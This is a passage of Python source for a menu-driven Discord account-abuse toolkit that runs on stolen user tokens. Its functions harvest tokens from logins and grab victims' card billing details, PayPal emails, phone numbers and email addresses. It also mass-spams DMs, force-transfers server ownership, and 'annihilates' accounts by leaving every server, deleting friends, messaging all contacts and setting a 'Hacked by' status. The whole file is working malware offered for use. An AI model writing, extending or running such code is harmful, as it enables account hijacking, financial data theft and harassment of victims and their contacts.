statuses: dm = req.json() data[token] = dm['id'] else: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") print(modeMenu) mode = str(input('\nSelect: ')) if mode == '1': message = input('\nMessage: ') else: message = defaultMessage3 dmPayload = {"content": message, "tts": False} print('\nSpam started.') while True: for token, dmId in data.items(): headers = {'Authorization': token} req = requests.post(f"https://canary.discord.com/api/v8/channels/{dmId}/messages", headers=headers, json=dmPayload) if req.status_code not in statuses: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") elif select == '2': print(menu) select = str(input('\nSelect: ')) if select == '1': print(helpdmSpammEN) elif select == '2': print(helpdmSpammRU) else: print('\nInvalid option.') else: print('\nInvalid option.') except KeyboardInterrupt: print('\nExit...') errorLog.close() nextCode = input('\nPress key to continue.') #Animator----------------------------------------------+ def animator(): sessionName = 'Animator' errorLog = open('errorlogs.txt', 'a+') print(exitMenu) print(animatorMenu) try: select = str(input('\nSelect: ')) token = input('\nToken: ') headers = {'Authorization': token} with open('config.json', 'r') as f: config = json.load(f) if select == '1': serverId = input('\nServer ID: ') while True: for name in config["animatedServer"]: time.sleep(1) animate = {'name': name, 'icon': None} req = request = requests.patch(f'https://discord.com/api/v8/guilds/{serverId}', headers=headers, json=animate) if req.status_code not in statuses: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") elif select == '2': while True: for statusText in config["animatedStatus"]: time.sleep(1) animate2 = {'custom_status': {'text': statusText}} req = requests.patch('https://discord.com/api/v8/users/@me/settings', headers=headers, json=animate2) if req.status_code not in statuses: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") elif select == '3': serverId = input('\nServer ID: ') while True: for nickname in config["animatedNick"]: time.sleep(1) animateNick = {'nick': nickname} req = requests.patch(f'https://discord.com/api/v8/guilds/{serverId}/members/%40me/nick', headers=headers, json=animateNick) if req.status_code not in statuses: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") elif select == '4': groupId = input('\nGroup ID: ') while True: for groupName in config["animatedGroup"]: time.sleep(1) animateGroup = {'name': groupName} req = requests.patch(f'https://discord.com/api/v8/channels/{groupId}', headers=headers, json=animateGroup) if req.status_code not in statuses: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") elif select == '5': channelId = input('\nChannel ID: ') while True: for channelName in config["animatedChannel"]: time.sleep(1) animateChannel = {'name': channelName} req = requests.patch(f'https://discord.com/api/v8/channels/{channelId}', headers=headers, json=animateChannel) if req.status_code not in statuses: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") elif select == '6': serverId = input('\nServer ID: ') userId = input('\nUser ID: ') while True: for nickname in config["animatedNick"]: time.sleep(1) animateNick = {'nick': nickname} req = requests.patch(f'https://discord.com/api/v8/guilds/{serverId}/members/{userId}', headers=headers, json=animateNick) if req.status_code not in statuses: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") elif select == '7': print(menu) select = str(input('\nSelect: ')) if select == '1': print(helpAnimatorEN) elif select == '2': print(helpAnimatorRU) else: print('\nInvalid option.') else: print('\nInvalid option.') except KeyboardInterrupt: print('\nExit...') errorLog.close() nextCode = input('\nPress key to continue.') #Token track----------------------------------------------+ def tokenTrack(): sessionName = 'Token track' errorLog = open('errorlogs.txt', 'a+') print(exitMenu) print('\nThis item will allow you to find out the token of the account to which your IP was linked.') print(tokenTrackMenu) try: select = str(input('\nSelect: ')) if select == '1': login = input('\nLogin: ') password = input('\nPassword: ') infoLogin = { 'captcha_key': None, 'gift_code_sku_id': None, 'login': login, 'login_source': None, 'password': password, 'undelete': False } req = requests.post('https://discord.com/api/v8/auth/login', json=infoLogin) if req.status_code in statuses: info = req.json() token = info['token'] print(f'\nToken: {token}') else: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") print('\nError.') elif select == '2': file = open('tokens.txt', 'a') while True: login = input('\nLogin: ') password = input('\nPassword: ') infoLogin = { 'captcha_key': None, 'gift_code_sku_id': None, 'login': login, 'login_source': None, 'password': password, 'undelete': False } req = requests.post('https://discord.com/api/v8/auth/login', json=infoLogin) if req.status_code in statuses: info = req.json() token = info['token'] print(f'Token: {token}') file.write(token + '\n') else: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") print('\nError.') elif select == '3': print(menu) select = str(input('\nSelect: ')) if select == '1': print(helpTrackEN) elif select == '2': print(helpTrackRU) else: print('\nInvalid option.') else: print('\nInvalid option.') except KeyboardInterrupt: print('\nExit...') errorLog.close() nextCode = input('\nPress key to continue.') #Add To File----------------------------------------------+ def add(): sessionName = 'Manager' print(exitMenu) print(addMenu) try: select = str(input('\nSelect: ')) if select == '1': file1 = open('tokens.txt', 'a') while True: token = str(input('\nToken: ')) file1.write(f'{token}\n') print('Token added.') elif select == '2': file2 = open('webhooks.txt', 'a') while True: webhook = str(input('\nWebhook: ')) file2.write(f'{webhook}\n') print('Webhook added.') elif select == '3': file1 = open('tokens.txt', 'w') file1.close() elif select == '4': file2 = open('tokens.txt', 'w') file2.close() elif select == '5': with open('tokens.txt', 'r') as handle: tokens = handle.readlines() for x in tokens: token = x.rstrip() print(token) elif select == '6': with open('webhooks.txt', 'r') as handle: webhooks = handle.readlines() for x in webhooks: webhook = x.rstrip() print(webhook) elif select == '7': print(menu) select = str(input('\nSelect: ')) if select == '1': print(helpAddEN) elif select == '2': print(helpAddRU) else: print('\nInvalid option.') else: print('\nInvalid option.') except KeyboardInterrupt: print('\nExit...') nextCode = input('\nPress key to continue.') #Leaver----------------------------------------------+ def leaver(): sessionName = 'Leaver' errorLog = open('errorlogs.txt', 'a+') print(exitMenu) print(leaverMenu) try: select = str(input('\nSelect: ')) if select == '1': token = input('\nToken: ') serverID = input('\nServer ID: ') headers = {'Authorization': token} req = requests.delete(f'https://discord.com/api/v8/users/@me/guilds/{serverID}', headers=headers) if req.status_code in statuses: print('Token leaved.') else: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") elif select == '2': serverID = input('\nServer ID: ') with open('tokens.txt','r') as handle: tokens = handle.readlines() for x in tokens: token = x.rstrip() headers = {'Authorization': token} req = requests.delete(f'https://discord.com/api/v8/users/@me/guilds/{serverID}', headers=headers) if req.status_code not in statuses: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") print('\nAll valid tokens have Leaved!') elif select == '3': print(menu) select = str(input('\nSelect: ')) if select == '1': print(helpLeaveEN) elif select == '2': print(helpLeaveRU) else: print('\nInvalid option.') else: print('\nInvalid option.') except KeyboardInterrupt: print('\nExit...') errorLog.close() nextCode = input('\nPress key to continue.') #Joiner----------------------------------------------+ def joinToken(): sessionName = 'Joiner' errorLog = open('errorlogs.txt', 'a+') print(exitMenu) print(joinerMenu) try: select = str(input('\nSelect: ')) if select == '1': link = input('\nDiscord Invite: ') if len(link) > 6: link = link[19:] apilink = (f'https://discordapp.com/api/v6/invite/{link}') token = input('\nToken: ') headers = {'Authorization': token} req = requests.post(apilink, headers=headers) if req.status_code in statuses: print('\nToken joined.') else: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") elif select == '2': link = input('\nDiscord Invite: ') if len(link) > 6: link = link[19:] apilink = (f'https://discordapp.com/api/v6/invite/{link}') with open('tokens.txt','r') as handle: tokens = handle.readlines() for x in tokens: token = x.rstrip() headers = {'Authorization': token} req = requests.post(apilink, headers=headers) if req.status_code not in statuses: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") print('\nAll valid tokens have joined.') elif select == '3': print(menu) select = str(input('\nSelect: ')) if select == '1': print(helpJoinerEN) elif select == '2': print(helpJoinerRU) else: print('\nInvalid option.') else: print('\nInvalid option.') except KeyboardInterrupt: print('\nExit...') errorLog.close() nextCode = input('\nPress key to continue.') #Card Grab----------------------------------------------+ def cardGrab(cc_digits): sessionName = 'Payments info grab' errorLog = open('errorlogs.txt', 'a+') print(exitMenu) print(cardMenu) grab1 = [] try: select = str(input('\nSelect: ')) if select == '1': token = input('\nToken: ') headers = {'Authorization': token} req = requests.get('https://discordapp.com/api/v6/users/@me/billing/payment-sources', headers=headers) if req.status_code in statuses: grabreq = req.json() for grab in grabreq: print(grab) grab1 = grab['billing_address'] print(grab1) name = grab1['name'] address1 = grab1['line_1'] address2 = grab1['line_2'] city = grab1['city'] postalСode = grab1['postal_code'] state = grab1['state'] country = grab1['country'] if grab['type'] == 1: cc_brand = grab['brand'] cc_first = cc_digits.get(cc_brand) cc_last = grab['last_4'] cc_month = str(grab['expires_month']) cc_year = str(grab['expires_year']) card = (f''' Payment Type: Credit card Valid: {not grab['invalid']} CC Holder Name: {name} CC Brand: {cc_brand.title()} CC Number: {''.join(z if (i + 1) % 2 else z + ' ' for i, z in enumerate((cc_first if cc_first else '*') + ('*' * 11) + cc_last))} CC Date: {('0' + cc_month if len(cc_month) < 2 else cc_month) + '/' + cc_year[2:4]} Address 1: {address1} Address 2: {address2 if address2 else ''} City: {city} Postal code: {postalСode} State: {state if state else ''} Country: {country} Default Payment Method: {grab['default']} ''') elif grab['type'] == 2: card = (f''' Payment Type: PayPal Valid: {not grab['invalid']} PayPal Name: {name} PayPal Email: {grab['email']} Address 1: {address1} Address 2: {address2 if address2 else ''} City: {city} Postal code: {postalСode} State: {state if state else ''} Country: {country} Default Payment Method: {grab['default']} ''') print(card) else: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") elif select == '2': print(menu) select = str(input('\nSelect: ')) if select == '1': print(helpCardGrabEN) elif select == '2': print(helpCardGrabRU) else: print('\nInvalid option.') else: print('\nInvalid option.') except KeyboardInterrupt: print('\nExit...') errorLog.close() nextCode = input('\nPress key to continue.') #Annihilation----------------------------------------------+ def tokenAnnihilation(icon, dMdefaultText, statusName): sessionName = 'Annihilation' errorLog = open('errorlogs.txt', 'a+') print(exitMenu) print(annihilationMenu) try: select = str(input('\nSelect: ')) if select == '1': token = input('\nToken: ') servers = input('\nName of servers: ') userText = input('\nMailing text: ') headers = {'Authorization': token} headers2 = {'Content-Type': 'application/json', 'Authorization': token} payload = {'name': f'{servers}', 'region': 'europe', 'icon': f'{icon}', 'channels': None} setting = {'theme': 'light', 'locale': 'zh-CN', 'status': 'online', 'custom_status': {'text': "[ Hacked by C.A.S ]---[ https://t.me/anarcy_squad ]"}} setting2 = {'theme': 'dark', 'locale': 'zh-TW', 'status': 'invisible'} spredText = (f'```{userText}``` {dMdefaultText}') spredSMS = {"content": spredText, "tts": False} serversId = [] friendsId = [] dmId = [] c = 100 d = 0 print('\nStarted annihilation.') req = requests.get('https://discord.com/api/v8/users/@me/guilds', headers=headers) if req.status_code in statuses: for server in req.json(): serversId.append(server['id']) for serversID in serversId: req = requests.patch('https://discord.com/api/v8/users/@me/settings', headers=headers, json=setting) if req.status_code not in statuses: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") req = requests.delete(f'https://discord.com/api/v8/users/@me/guilds/{serversID}', headers=headers) if req.status_code not in statuses: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") req = requests.patch('https://discord.com/api/v8/users/@me/settings', headers=headers, json=setting2) if req.status_code not in statuses: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") else: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") req = requests.get('https://discord.com/api/v8/users/@me/channels', headers=headers) if req.status_code in statuses: for dm in req.json(): dmId.append(dm['id']) for IDspred in dmId: req = requests.patch('https://discord.com/api/v8/users/@me/settings', headers=headers, json=setting) if req.status_code not in statuses: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") req = requests.post(f"https://canary.discord.com/api/v8/channels/{IDspred}/messages", headers=headers, json=spredSMS) if req.status_code not in statuses: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") req = requests.patch('https://discord.com/api/v8/users/@me/settings', headers=headers, json=setting2) if req.status_code not in statuses: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") for dmID in dmId: req = requests.patch('https://discord.com/api/v8/users/@me/settings', headers=headers, json=setting) if req.status_code not in statuses: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") req = requests.delete(f'https://discord.com/api/v8/channels/{dmID}', headers=headers2) if req.status_code not in statuses: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") req = requests.patch('https://discord.com/api/v8/users/@me/settings', headers=headers, json=setting2) if req.status_code not in statuses: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") else: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") req = requests.get('https://discord.com/api/v8/users/@me/relationships', headers=headers) if req.status_code in statuses: for friend in req.json(): friendsId.append(friend['id']) for friendsID in friendsId: req = requests.patch('https://discord.com/api/v8/users/@me/settings', headers=headers, json=setting) if req.status_code not in statuses: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") req = requests.delete(f'https://discord.com/api/v8/users/@me/relationships/{friendsID}', headers=headers) if req.status_code not in statuses: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") req = requests.patch('https://discord.com/api/v8/users/@me/settings', headers=headers, json=setting2) if req.status_code not in statuses: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") else: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") reqStart = requests.get('https://discord.com/api/v9/users/@me', headers=headers, json={'avatar': icon}) requests.patch('https://discord.com/api/v9/users/@me', headers=headers, json={'banner': bannerData}) while d <= c: req = requests.patch('https://discord.com/api/v8/users/@me/settings', headers=headers, json=setting) if req.status_code not in statuses: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") req = requests.post('https://discord.com/api/v8/guilds', headers=headers, json=payload) if req.status_code not in statuses: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") req = requests.patch('https://discord.com/api/v8/users/@me/settings', headers=headers, json=setting2) if req.status_code not in statuses: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") d = d + 1 print('\nStarted gliched.') while True: req = requests.patch('https://discord.com/api/v8/users/@me/settings', headers=headers, json=setting) if req.status_code not in statuses: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") req = requests.patch('https://discord.com/api/v8/users/@me/settings', headers=headers, json=setting2) if req.status_code not in statuses: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") elif select == '2': print(menu) select = str(input('\nSelect: ')) if select == '1': print(helpAnnihilatorEN) elif select == '2': print(helpAnnihilatorRU) else: print('\nInvalid option.') except KeyboardInterrupt: print('\nExit...') errorLog.close() nextCode = input('\nPress key to continue.') #Glitcher----------------------------------------------+ def glitch(statusName): sessionName = 'Glitcher' errorLog = open('errorlogs.txt', 'a+') print(exitMenu) print(glitchMenu) try: select = str(input('\nSelect: ')) if select == '1': token = input('\nToken: ') headers = {'Authorization': token} setting = {'theme': 'light', 'locale': 'zh-CN', 'status': 'online', 'custom_status': {'text': statusName}} setting2 = {'theme': 'dark', 'locale': 'zh-TW', 'status': 'invisible'} print('\nStarted glitches.') while True: req = requests.patch('https://discord.com/api/v8/users/@me/settings', headers=headers, json=setting) if req.status_code not in statuses: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") req = requests.patch('https://discord.com/api/v8/users/@me/settings', headers=headers, json=setting2) if req.status_code not in statuses: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") elif select == '2': print(menu) select = str(input('\nSelect: ')) if select == '1': print(helpGlitchEN) elif select == '2': print(helpGlitchRU) else: print('\nInvalid option.') else: print('\nInvalid option.') except KeyboardInterrupt: print('\nExit...') errorLog.close() nextCode = input('\nPress key to continue.') #Ovner Transfer----------------------------------------------+ def ovnTrans(): sessionName = "Ovnership transpher" errorLog = open('errorlogs.txt', 'a+') print(exitMenu) print(ovnMenu) try: select = str(input('\nSelect: ')) if select == '1': token = input('\nOvner token: ') serverId = input('\nServer ID: ') ovnerId = input('\nYour ID: ') headers = {'Authorization': token} payload ={'owner_id': ovnerId} req = requests.patch(f"https://ptb.discord.com/api/guilds/{serverId}", headers=headers, json=payload) if req.status_code in statuses: print('\nServer rights transferred.') else: print('\nError') errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") elif select == '2': print(menu) select = str(input('\nSelect: ')) if select == '1': print(helpOvnTransEN) elif select == '2': print(helpOvnTransRU) else: print('\nInvalid option.') else: print('\nInvalid option.') except KeyboardInterrupt: print('\nExit...') errorLog.close() nextCode = input('\nPress key to continue.') #Grab Info----------------------------------------------+ def grabInfo(): sessionName = 'Info grab' errorLog = open('errorlogs.txt', 'a+') print(exitMenu) print(infograbMenu) try: select = str(input('\nSelect: ')) if select == '1': token = input('\nToken: ') headers = {'Authorization': token, 'Content-Type': 'application/json'} request = requests.get('https://canary.discordapp.com/api/v8/users/@me', headers=headers) if request.status_code in statuses: userName = request.json()['username'] + '#' + request.json()['discriminator'] userID = request.json()['id'] phone = request.json()['phone'] email = request.json()['email'] mfa = request.json()['mfa_enabled'] print(f'''\n User Name: {userName} User ID: {userID} 2 Factor: {mfa} Email: {email} Phone Number: {phone if phone else 'None.'} ''') else: if req.status_code not in statuses: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {request.status_code}] [Message: {request.json()}\n") print(token + ' Invalid.') elif select == '2': print(menu) select = str(input('\nSelect: ')) if select == '1': print(helpGrabInfoEN) elif select == '2': print(helpGrabInfoRU) else: print('\nInvalid option.') else: print('\nInvalid option.') except KeyboardInterrupt: print('\nExit...') errorLog.close() nextCode = input('\nPress key to continue.') #Interaction----------------------------------------------+ while True: cls() print(intro) try: select = str(input('\nSelect: ')) if select == '1': grabInfo() elif select == '2': tokenAnnihilation(icon, dMdefaultText, statusName) elif select == '3': Webhook_tool(defaultMessage, icons, nameHooks, jsonHook, statuses) elif select == '4': validToken() elif select == '5': joinToken() elif select == '6': glitch(statusName) elif select == '7': add() elif select == '8': leaver() elif select == '9': spam(defaultMessage, defaultMessage2) elif select == '10': ovnTrans() elif select == '11': dmSpam(defaultMessage3) elif select == '12': tokenTrack() elif select == '13': crash(jsonHook, defaultMessage, nameHooks, icons, icon, statuses) elif select == '14': cardGrab(cc_digits) elif select == '15': animator() elif select == '16': scriptGen() elif select == '17': print(menu) select = str(input('\nSelect: ')) if select == '1': print(helpsEN) elif select == '2': print(helpsRU) else: print('\nInvalid option.') nextCode = input('\nPress key to continue.') elif select == '18': print('\nGoodby!') time.sleep(2) exit() else: print('\nInvalid option.') nextCode = input('\nPress key to continue.') except KeyboardInterrupt: print('\nUse Item 18.') time.sleep(3)